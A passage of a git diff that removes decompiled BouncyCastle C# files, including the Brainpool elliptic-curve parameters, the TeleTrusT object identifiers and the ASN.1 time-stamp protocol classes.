X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP320r1Holder(); - - private BrainpoolP320r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("D35E472036BC4FB7E13C785ED201E065F98FCFA5B68F12A32D482EC7EE8658E98691555B44C59311", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("D35E472036BC4FB7E13C785ED201E065F98FCFA6F6F40DEF4F92B9EC7893EC28FCD412B1F1B32E27", 16), new BigInteger("3EE30B568FBAB0F883CCEBD46D3F3BB8A2A73513F5EB79DA66190EB085FFA9F492F375A97D860EB4", 16), new BigInteger("520883949DFDBC42D3AD198640688A6FE13F41349554B49ACC31DCCD884539816F5EB4AC8FB1F1A6", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("0443BD7E9AFB53D8B85289BCC48EE5BFE6F20137D10A087EB6E7871E2A10A599C710AF8D0D39E2061114FDD05545EC1CC8AB4093247F77275E0743FFED117182EAA9C77877AAAC6AC7D35245D1692E8EE1")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP320t1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP320t1Holder(); - - private BrainpoolP320t1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("D35E472036BC4FB7E13C785ED201E065F98FCFA5B68F12A32D482EC7EE8658E98691555B44C59311", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("D35E472036BC4FB7E13C785ED201E065F98FCFA6F6F40DEF4F92B9EC7893EC28FCD412B1F1B32E27", 16), new BigInteger("D35E472036BC4FB7E13C785ED201E065F98FCFA6F6F40DEF4F92B9EC7893EC28FCD412B1F1B32E24", 16), new BigInteger("A7F561E038EB1ED560B3D147DB782013064C19F27ED27C6780AAF77FB8A547CEB5B4FEF422340353", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("04925BE9FB01AFC6FB4D3E7D4990010F813408AB106C4F09CB7EE07868CC136FFF3357F624A21BED5263BA3A7A27483EBF6671DBEF7ABB30EBEE084E58A0B077AD42A5A0989D1EE71B1B9BC0455FB0D2C3")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP384r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP384r1Holder(); - - private BrainpoolP384r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("8CB91E82A3386D280F5D6F7E50E641DF152F7109ED5456B31F166E6CAC0425A7CF3AB6AF6B7FC3103B883202E9046565", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("8CB91E82A3386D280F5D6F7E50E641DF152F7109ED5456B412B1DA197FB71123ACD3A729901D1A71874700133107EC53", 16), new BigInteger("7BC382C63D8C150C3C72080ACE05AFA0C2BEA28E4FB22787139165EFBA91F90F8AA5814A503AD4EB04A8C7DD22CE2826", 16), new BigInteger("4A8C7DD22CE28268B39B55416F0447C2FB77DE107DCD2A62E880EA53EEB62D57CB4390295DBC9943AB78696FA504C11", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("041D1C64F068CF45FFA2A63A81B7C13F6B8847A3E77EF14FE3DB7FCAFE0CBD10E8E826E03436D646AAEF87B2E247D4AF1E8ABE1D7520F9C2A45CB1EB8E95CFD55262B70B29FEEC5864E19C054FF99129280E4646217791811142820341263C5315")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP384t1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP384t1Holder(); - - private BrainpoolP384t1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("8CB91E82A3386D280F5D6F7E50E641DF152F7109ED5456B31F166E6CAC0425A7CF3AB6AF6B7FC3103B883202E9046565", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("8CB91E82A3386D280F5D6F7E50E641DF152F7109ED5456B412B1DA197FB71123ACD3A729901D1A71874700133107EC53", 16), new BigInteger("8CB91E82A3386D280F5D6F7E50E641DF152F7109ED5456B412B1DA197FB71123ACD3A729901D1A71874700133107EC50", 16), new BigInteger("7F519EADA7BDA81BD826DBA647910F8C4B9346ED8CCDC64E4B1ABD11756DCE1D2074AA263B88805CED70355A33B471EE", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("0418DE98B02DB9A306F2AFCD7235F72A819B80AB12EBD653172476FECD462AABFFC4FF191B946A5F54D8D0AA2F418808CC25AB056962D30651A114AFD2755AD336747F93475B7A1FCA3B88F2B6A208CCFE469408584DC2B2912675BF5B9E582928")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP512r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP512r1Holder(); - - private BrainpoolP512r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("AADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA70330870553E5C414CA92619418661197FAC10471DB1D381085DDADDB58796829CA90069", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("AADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA703308717D4D9B009BC66842AECDA12AE6A380E62881FF2F2D82C68528AA6056583A48F3", 16), new BigInteger("7830A3318B603B89E2327145AC234CC594CBDD8D3DF91610A83441CAEA9863BC2DED5D5AA8253AA10A2EF1C98B9AC8B57F1117A72BF2C7B9E7C1AC4D77FC94CA", 16), new BigInteger("3DF91610A83441CAEA9863BC2DED5D5AA8253AA10A2EF1C98B9AC8B57F1117A72BF2C7B9E7C1AC4D77FC94CADC083E67984050B75EBAE5DD2809BD638016F723", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("0481AEE4BDD82ED9645A21322E9C4C6A9385ED9F70B5D916C1B43B62EEF4D0098EFF3B1F78E2D0D48D50D1687B93B97D5F7C6D5047406A5E688B352209BCB9F8227DDE385D566332ECC0EABFA9CF7822FDF209F70024A57B1AA000C55B881F8111B2DCDE494A5F485E5BCA4BD88A2763AED1CA2B2FA8F0540678CD1E0F3AD80892")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP512t1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP512t1Holder(); - - private BrainpoolP512t1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("AADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA70330870553E5C414CA92619418661197FAC10471DB1D381085DDADDB58796829CA90069", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("AADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA703308717D4D9B009BC66842AECDA12AE6A380E62881FF2F2D82C68528AA6056583A48F3", 16), new BigInteger("AADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA703308717D4D9B009BC66842AECDA12AE6A380E62881FF2F2D82C68528AA6056583A48F0", 16), new BigInteger("7CBBBCF9441CFAB76E1890E46884EAE321F70C0BCB4981527897504BEC3E36A62BCDFA2304976540F6450085F2DAE145C22553B465763689180EA2571867423E", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("04640ECE5C12788717B9C1BA06CBC2A6FEBA85842458C56DDE9DB1758D39C0313D82BA51735CDB3EA499AA77A7D6943A64F7A3F25FE26F06B51BAA2696FA9035DA5B534BD595F5AF0FA2C892376C84ACE1BB4E3019B71634C01131159CAE03CEE9D9932184BEEF216BD71DF2DADF86A627306ECFF96DBB8BACE198B61E00F8B332")), bigInteger, bigInteger2); - } - } - - private static readonly IDictionary objIds; - - private static readonly IDictionary curves; - - private static readonly IDictionary names; - - public static IEnumerable Names => new EnumerableProxy(names.Values); - - private static ECCurve ConfigureCurve(ECCurve curve) - { - return curve; - } - - private static void DefineCurve(string name, DerObjectIdentifier oid, X9ECParametersHolder holder) - { - objIds.Add(Platform.ToUpperInvariant(name), oid); - names.Add(oid, name); - curves.Add(oid, holder); - } - - static TeleTrusTNamedCurves() - { - objIds = Platform.CreateHashtable(); - curves = Platform.CreateHashtable(); - names = Platform.CreateHashtable(); - DefineCurve("brainpoolP160r1", TeleTrusTObjectIdentifiers.BrainpoolP160R1, BrainpoolP160r1Holder.Instance); - DefineCurve("brainpoolP160t1", TeleTrusTObjectIdentifiers.BrainpoolP160T1, BrainpoolP160t1Holder.Instance); - DefineCurve("brainpoolP192r1", TeleTrusTObjectIdentifiers.BrainpoolP192R1, BrainpoolP192r1Holder.Instance); - DefineCurve("brainpoolP192t1", TeleTrusTObjectIdentifiers.BrainpoolP192T1, BrainpoolP192t1Holder.Instance); - DefineCurve("brainpoolP224r1", TeleTrusTObjectIdentifiers.BrainpoolP224R1, BrainpoolP224r1Holder.Instance); - DefineCurve("brainpoolP224t1", TeleTrusTObjectIdentifiers.BrainpoolP224T1, BrainpoolP224t1Holder.Instance); - DefineCurve("brainpoolP256r1", TeleTrusTObjectIdentifiers.BrainpoolP256R1, BrainpoolP256r1Holder.Instance); - DefineCurve("brainpoolP256t1", TeleTrusTObjectIdentifiers.BrainpoolP256T1, BrainpoolP256t1Holder.Instance); - DefineCurve("brainpoolP320r1", TeleTrusTObjectIdentifiers.BrainpoolP320R1, BrainpoolP320r1Holder.Instance); - DefineCurve("brainpoolP320t1", TeleTrusTObjectIdentifiers.BrainpoolP320T1, BrainpoolP320t1Holder.Instance); - DefineCurve("brainpoolP384r1", TeleTrusTObjectIdentifiers.BrainpoolP384R1, BrainpoolP384r1Holder.Instance); - DefineCurve("brainpoolP384t1", TeleTrusTObjectIdentifiers.BrainpoolP384T1, BrainpoolP384t1Holder.Instance); - DefineCurve("brainpoolP512r1", TeleTrusTObjectIdentifiers.BrainpoolP512R1, BrainpoolP512r1Holder.Instance); - DefineCurve("brainpoolP512t1", TeleTrusTObjectIdentifiers.BrainpoolP512T1, BrainpoolP512t1Holder.Instance); - } - - public static X9ECParameters GetByName(string name) - { - DerObjectIdentifier oid = GetOid(name); - if (oid != null) - { - return GetByOid(oid); - } - return null; - } - - public static X9ECParameters GetByOid(DerObjectIdentifier oid) - { - return ((X9ECParametersHolder)curves[oid])?.Parameters; - } - - public static DerObjectIdentifier GetOid(string name) - { - return (DerObjectIdentifier)objIds[Platform.ToUpperInvariant(name)]; - } - - public static string GetName(DerObjectIdentifier oid) - { - return (string)names[oid]; - } - - public static DerObjectIdentifier GetOid(short curvesize, bool twisted) - { - return GetOid("brainpoolP" + curvesize + (twisted ? "t" : "r") + "1"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/TeleTrust/TeleTrusTObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/TeleTrust/TeleTrusTObjectIdentifiers.cs deleted file mode 100644 index 0eb7bd1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/TeleTrust/TeleTrusTObjectIdentifiers.cs +++ /dev/null @@ -1,64 +0,0 @@ -namespace Org.BouncyCastle.Asn1.TeleTrust; - -public sealed class TeleTrusTObjectIdentifiers -{ - public static readonly DerObjectIdentifier TeleTrusTAlgorithm = new DerObjectIdentifier("1.3.36.3"); - - public static readonly DerObjectIdentifier RipeMD160 = new DerObjectIdentifier(string.Concat(TeleTrusTAlgorithm, ".2.1")); - - public static readonly DerObjectIdentifier RipeMD128 = new DerObjectIdentifier(string.Concat(TeleTrusTAlgorithm, ".2.2")); - - public static readonly DerObjectIdentifier RipeMD256 = new DerObjectIdentifier(string.Concat(TeleTrusTAlgorithm, ".2.3")); - - public static readonly DerObjectIdentifier TeleTrusTRsaSignatureAlgorithm = new DerObjectIdentifier(string.Concat(TeleTrusTAlgorithm, ".3.1")); - - public static readonly DerObjectIdentifier RsaSignatureWithRipeMD160 = new DerObjectIdentifier(string.Concat(TeleTrusTRsaSignatureAlgorithm, ".2")); - - public static readonly DerObjectIdentifier RsaSignatureWithRipeMD128 = new DerObjectIdentifier(string.Concat(TeleTrusTRsaSignatureAlgorithm, ".3")); - - public static readonly DerObjectIdentifier RsaSignatureWithRipeMD256 = new DerObjectIdentifier(string.Concat(TeleTrusTRsaSignatureAlgorithm, ".4")); - - public static readonly DerObjectIdentifier ECSign = new DerObjectIdentifier(string.Concat(TeleTrusTAlgorithm, ".3.2")); - - public static readonly DerObjectIdentifier ECSignWithSha1 = new DerObjectIdentifier(string.Concat(ECSign, ".1")); - - public static readonly DerObjectIdentifier ECSignWithRipeMD160 = new DerObjectIdentifier(string.Concat(ECSign, ".2")); - - public static readonly DerObjectIdentifier EccBrainpool = new DerObjectIdentifier(string.Concat(TeleTrusTAlgorithm, ".3.2.8")); - - public static readonly DerObjectIdentifier EllipticCurve = new DerObjectIdentifier(string.Concat(EccBrainpool, ".1")); - - public static readonly DerObjectIdentifier VersionOne = new DerObjectIdentifier(string.Concat(EllipticCurve, ".1")); - - public static readonly DerObjectIdentifier BrainpoolP160R1 = new DerObjectIdentifier(string.Concat(VersionOne, ".1")); - - public static readonly DerObjectIdentifier BrainpoolP160T1 = new DerObjectIdentifier(string.Concat(VersionOne, ".2")); - - public static readonly DerObjectIdentifier BrainpoolP192R1 = new DerObjectIdentifier(string.Concat(VersionOne, ".3")); - - public static readonly DerObjectIdentifier BrainpoolP192T1 = new DerObjectIdentifier(string.Concat(VersionOne, ".4")); - - public static readonly DerObjectIdentifier BrainpoolP224R1 = new DerObjectIdentifier(string.Concat(VersionOne, ".5")); - - public static readonly DerObjectIdentifier BrainpoolP224T1 = new DerObjectIdentifier(string.Concat(VersionOne, ".6")); - - public static readonly DerObjectIdentifier BrainpoolP256R1 = new DerObjectIdentifier(string.Concat(VersionOne, ".7")); - - public static readonly DerObjectIdentifier BrainpoolP256T1 = new DerObjectIdentifier(string.Concat(VersionOne, ".8")); - - public static readonly DerObjectIdentifier BrainpoolP320R1 = new DerObjectIdentifier(string.Concat(VersionOne, ".9")); - - public static readonly DerObjectIdentifier BrainpoolP320T1 = new DerObjectIdentifier(string.Concat(VersionOne, ".10")); - - public static readonly DerObjectIdentifier BrainpoolP384R1 = new DerObjectIdentifier(string.Concat(VersionOne, ".11")); - - public static readonly DerObjectIdentifier BrainpoolP384T1 = new DerObjectIdentifier(string.Concat(VersionOne, ".12")); - - public static readonly DerObjectIdentifier BrainpoolP512R1 = new DerObjectIdentifier(string.Concat(VersionOne, ".13")); - - public static readonly DerObjectIdentifier BrainpoolP512T1 = new DerObjectIdentifier(string.Concat(VersionOne, ".14")); - - private TeleTrusTObjectIdentifiers() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/Accuracy.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/Accuracy.cs deleted file mode 100644 index 8810026..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/Accuracy.cs +++ /dev/null @@ -1,111 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Tsp; - -public class Accuracy : Asn1Encodable -{ - protected const int MinMillis = 1; - - protected const int MaxMillis = 999; - - protected const int MinMicros = 1; - - protected const int MaxMicros = 999; - - private readonly DerInteger seconds; - - private readonly DerInteger millis; - - private readonly DerInteger micros; - - public DerInteger Seconds => seconds; - - public DerInteger Millis => millis; - - public DerInteger Micros => micros; - - public Accuracy(DerInteger seconds, DerInteger millis, DerInteger micros) - { - if (millis != null && (millis.Value.IntValue < 1 || millis.Value.IntValue > 999)) - { - throw new ArgumentException("Invalid millis field : not in (1..999)"); - } - if (micros != null && (micros.Value.IntValue < 1 || micros.Value.IntValue > 999)) - { - throw new ArgumentException("Invalid micros field : not in (1..999)"); - } - this.seconds = seconds; - this.millis = millis; - this.micros = micros; - } - - private Accuracy(Asn1Sequence seq) - { - for (int i = 0; i < seq.Count; i++) - { - if (seq[i] is DerInteger) - { - seconds = (DerInteger)seq[i]; - } - else - { - if (!(seq[i] is DerTaggedObject)) - { - continue; - } - DerTaggedObject derTaggedObject = (DerTaggedObject)seq[i]; - switch (derTaggedObject.TagNo) - { - case 0: - millis = DerInteger.GetInstance(derTaggedObject, isExplicit: false); - if (millis.Value.IntValue < 1 || millis.Value.IntValue > 999) - { - throw new ArgumentException("Invalid millis field : not in (1..999)."); - } - break; - case 1: - micros = DerInteger.GetInstance(derTaggedObject, isExplicit: false); - if (micros.Value.IntValue < 1 || micros.Value.IntValue > 999) - { - throw new ArgumentException("Invalid micros field : not in (1..999)."); - } - break; - default: - throw new ArgumentException("Invalig tag number"); - } - } - } - } - - public static Accuracy GetInstance(object o) - { - if (o == null || o is Accuracy) - { - return (Accuracy)o; - } - if (o is Asn1Sequence) - { - return new Accuracy((Asn1Sequence)o); - } - throw new ArgumentException("Unknown object in 'Accuracy' factory: " + Platform.GetTypeName(o)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (seconds != null) - { - asn1EncodableVector.Add(seconds); - } - if (millis != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, millis)); - } - if (micros != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, micros)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/MessageImprint.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/MessageImprint.cs deleted file mode 100644 index f3d0966..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/MessageImprint.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Tsp; - -public class MessageImprint : Asn1Encodable -{ - private readonly AlgorithmIdentifier hashAlgorithm; - - private readonly byte[] hashedMessage; - - public AlgorithmIdentifier HashAlgorithm => hashAlgorithm; - - public static MessageImprint GetInstance(object o) - { - if (o == null || o is MessageImprint) - { - return (MessageImprint)o; - } - if (o is Asn1Sequence) - { - return new MessageImprint((Asn1Sequence)o); - } - throw new ArgumentException("Unknown object in 'MessageImprint' factory: " + Platform.GetTypeName(o)); - } - - private MessageImprint(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - hashAlgorithm = AlgorithmIdentifier.GetInstance(seq[0]); - hashedMessage = Asn1OctetString.GetInstance(seq[1]).GetOctets(); - } - - public MessageImprint(AlgorithmIdentifier hashAlgorithm, byte[] hashedMessage) - { - this.hashAlgorithm = hashAlgorithm; - this.hashedMessage = hashedMessage; - } - - public byte[] GetHashedMessage() - { - return hashedMessage; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(hashAlgorithm, new DerOctetString(hashedMessage)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/TimeStampReq.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/TimeStampReq.cs deleted file mode 100644 index 6fcac4c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/TimeStampReq.cs +++ /dev/null @@ -1,108 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Tsp; - -public class TimeStampReq : Asn1Encodable -{ - private readonly DerInteger version; - - private readonly MessageImprint messageImprint; - - private readonly DerObjectIdentifier tsaPolicy; - - private readonly DerInteger nonce; - - private readonly DerBoolean certReq; - - private readonly X509Extensions extensions; - - public DerInteger Version => version; - - public MessageImprint MessageImprint => messageImprint; - - public DerObjectIdentifier ReqPolicy => tsaPolicy; - - public DerInteger Nonce => nonce; - - public DerBoolean CertReq => certReq; - - public X509Extensions Extensions => extensions; - - public static TimeStampReq GetInstance(object o) - { - if (o == null || o is TimeStampReq) - { - return (TimeStampReq)o; - } - if (o is Asn1Sequence) - { - return new TimeStampReq((Asn1Sequence)o); - } - throw new ArgumentException("Unknown object in 'TimeStampReq' factory: " + Platform.GetTypeName(o)); - } - - private TimeStampReq(Asn1Sequence seq) - { - int count = seq.Count; - int num = 0; - version = DerInteger.GetInstance(seq[num++]); - messageImprint = MessageImprint.GetInstance(seq[num++]); - for (int i = num; i < count; i++) - { - if (seq[i] is DerObjectIdentifier) - { - tsaPolicy = DerObjectIdentifier.GetInstance(seq[i]); - } - else if (seq[i] is DerInteger) - { - nonce = DerInteger.GetInstance(seq[i]); - } - else if (seq[i] is DerBoolean) - { - certReq = DerBoolean.GetInstance(seq[i]); - } - else if (seq[i] is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)seq[i]; - if (asn1TaggedObject.TagNo == 0) - { - extensions = X509Extensions.GetInstance(asn1TaggedObject, explicitly: false); - } - } - } - } - - public TimeStampReq(MessageImprint messageImprint, DerObjectIdentifier tsaPolicy, DerInteger nonce, DerBoolean certReq, X509Extensions extensions) - { - version = new DerInteger(1); - this.messageImprint = messageImprint; - this.tsaPolicy = tsaPolicy; - this.nonce = nonce; - this.certReq = certReq; - this.extensions = extensions; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, messageImprint); - if (tsaPolicy != null) - { - asn1EncodableVector.Add(tsaPolicy); - } - if (nonce != null) - { - asn1EncodableVector.Add(nonce); - } - if (certReq != null && certReq.IsTrue) - { - asn1EncodableVector.Add(certReq); - } - if (extensions != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, extensions)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/TimeStampResp.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/TimeStampResp.cs deleted file mode 100644 index cbca05f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/TimeStampResp.cs +++ /dev/null @@ -1,55 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Tsp; - -public class TimeStampResp : Asn1Encodable -{ - private readonly PkiStatusInfo pkiStatusInfo; - - private readonly ContentInfo timeStampToken; - - public PkiStatusInfo Status => pkiStatusInfo; - - public ContentInfo TimeStampToken => timeStampToken; - - public static TimeStampResp GetInstance(object o) - { - if (o == null || o is TimeStampResp) - { - return (TimeStampResp)o; - } - if (o is Asn1Sequence) - { - return new TimeStampResp((Asn1Sequence)o); - } - throw new ArgumentException("Unknown object in 'TimeStampResp' factory: " + Platform.GetTypeName(o)); - } - - private TimeStampResp(Asn1Sequence seq) - { - pkiStatusInfo = PkiStatusInfo.GetInstance(seq[0]); - if (seq.Count > 1) - { - timeStampToken = ContentInfo.GetInstance(seq[1]); - } - } - - public TimeStampResp(PkiStatusInfo pkiStatusInfo, ContentInfo timeStampToken) - { - this.pkiStatusInfo = pkiStatusInfo; - this.timeStampToken = timeStampToken; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(pkiStatusInfo); - if (timeStampToken != null) - { - asn1EncodableVector.Add(timeStampToken); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/TstInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/TstInfo.cs deleted file mode 100644 index 52ed7c0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Tsp/TstInfo.cs +++ /dev/null @@ -1,162 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Tsp; - -public class TstInfo : Asn1Encodable -{ - private readonly DerInteger version; - - private readonly DerObjectIdentifier tsaPolicyId; - - private readonly MessageImprint messageImprint; - - private readonly DerInteger serialNumber; - - private readonly DerGeneralizedTime genTime; - - private readonly Accuracy accuracy; - - private readonly DerBoolean ordering; - - private readonly DerInteger nonce; - - private readonly GeneralName tsa; - - private readonly X509Extensions extensions; - - public DerInteger Version => version; - - public MessageImprint MessageImprint => messageImprint; - - public DerObjectIdentifier Policy => tsaPolicyId; - - public DerInteger SerialNumber => serialNumber; - - public Accuracy Accuracy => accuracy; - - public DerGeneralizedTime GenTime => genTime; - - public DerBoolean Ordering => ordering; - - public DerInteger Nonce => nonce; - - public GeneralName Tsa => tsa; - - public X509Extensions Extensions => extensions; - - public static TstInfo GetInstance(object o) - { - if (o == null || o is TstInfo) - { - return (TstInfo)o; - } - if (o is Asn1Sequence) - { - return new TstInfo((Asn1Sequence)o); - } - if (o is Asn1OctetString) - { - try - { - byte[] octets = ((Asn1OctetString)o).GetOctets(); - return GetInstance(Asn1Object.FromByteArray(octets)); - } - catch (IOException) - { - throw new ArgumentException("Bad object format in 'TstInfo' factory."); - } - } - throw new ArgumentException("Unknown object in 'TstInfo' factory: " + Platform.GetTypeName(o)); - } - - private TstInfo(Asn1Sequence seq) - { - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - version = DerInteger.GetInstance(enumerator.Current); - enumerator.MoveNext(); - tsaPolicyId = DerObjectIdentifier.GetInstance(enumerator.Current); - enumerator.MoveNext(); - messageImprint = MessageImprint.GetInstance(enumerator.Current); - enumerator.MoveNext(); - serialNumber = DerInteger.GetInstance(enumerator.Current); - enumerator.MoveNext(); - genTime = DerGeneralizedTime.GetInstance(enumerator.Current); - ordering = DerBoolean.False; - while (enumerator.MoveNext()) - { - Asn1Object asn1Object = (Asn1Object)enumerator.Current; - if (asn1Object is Asn1TaggedObject) - { - DerTaggedObject derTaggedObject = (DerTaggedObject)asn1Object; - switch (derTaggedObject.TagNo) - { - case 0: - tsa = GeneralName.GetInstance(derTaggedObject, explicitly: true); - break; - case 1: - extensions = X509Extensions.GetInstance(derTaggedObject, explicitly: false); - break; - default: - throw new ArgumentException("Unknown tag value " + derTaggedObject.TagNo); - } - } - if (asn1Object is DerSequence) - { - accuracy = Accuracy.GetInstance(asn1Object); - } - if (asn1Object is DerBoolean) - { - ordering = DerBoolean.GetInstance(asn1Object); - } - if (asn1Object is DerInteger) - { - nonce = DerInteger.GetInstance(asn1Object); - } - } - } - - public TstInfo(DerObjectIdentifier tsaPolicyId, MessageImprint messageImprint, DerInteger serialNumber, DerGeneralizedTime genTime, Accuracy accuracy, DerBoolean ordering, DerInteger nonce, GeneralName tsa, X509Extensions extensions) - { - version = new DerInteger(1); - this.tsaPolicyId = tsaPolicyId; - this.messageImprint = messageImprint; - this.serialNumber = serialNumber; - this.genTime = genTime; - this.accuracy = accuracy; - this.ordering = ordering; - this.nonce = nonce; - this.tsa = tsa; - this.extensions = extensions; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, tsaPolicyId, messageImprint, serialNumber, genTime); - if (accuracy != null) - { - asn1EncodableVector.Add(accuracy); - } - if (ordering != null && ordering.IsTrue) - { - asn1EncodableVector.Add(ordering); - } - if (nonce != null) - { - asn1EncodableVector.Add(nonce); - } - if (tsa != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, tsa)); - } - if (extensions != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, extensions)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/UA/UAObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/UA/UAObjectIdentifiers.cs deleted file mode 100644 index 7c6da98..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/UA/UAObjectIdentifiers.cs +++ /dev/null @@ -1,82 +0,0 @@ -namespace Org.BouncyCastle.Asn1.UA; - -public abstract class UAObjectIdentifiers -{ - public static readonly DerObjectIdentifier UaOid = new DerObjectIdentifier("1.2.804.2.1.1.1"); - - public static readonly DerObjectIdentifier dstu4145le = UaOid.Branch("1.3.1.1"); - - public static readonly DerObjectIdentifier dstu4145be = UaOid.Branch("1.3.1.1.1.1"); - - public static readonly DerObjectIdentifier dstu7564digest_256 = UaOid.Branch("1.2.2.1"); - - public static readonly DerObjectIdentifier dstu7564digest_384 = UaOid.Branch("1.2.2.2"); - - public static readonly DerObjectIdentifier dstu7564digest_512 = UaOid.Branch("1.2.2.3"); - - public static readonly DerObjectIdentifier dstu7564mac_256 = 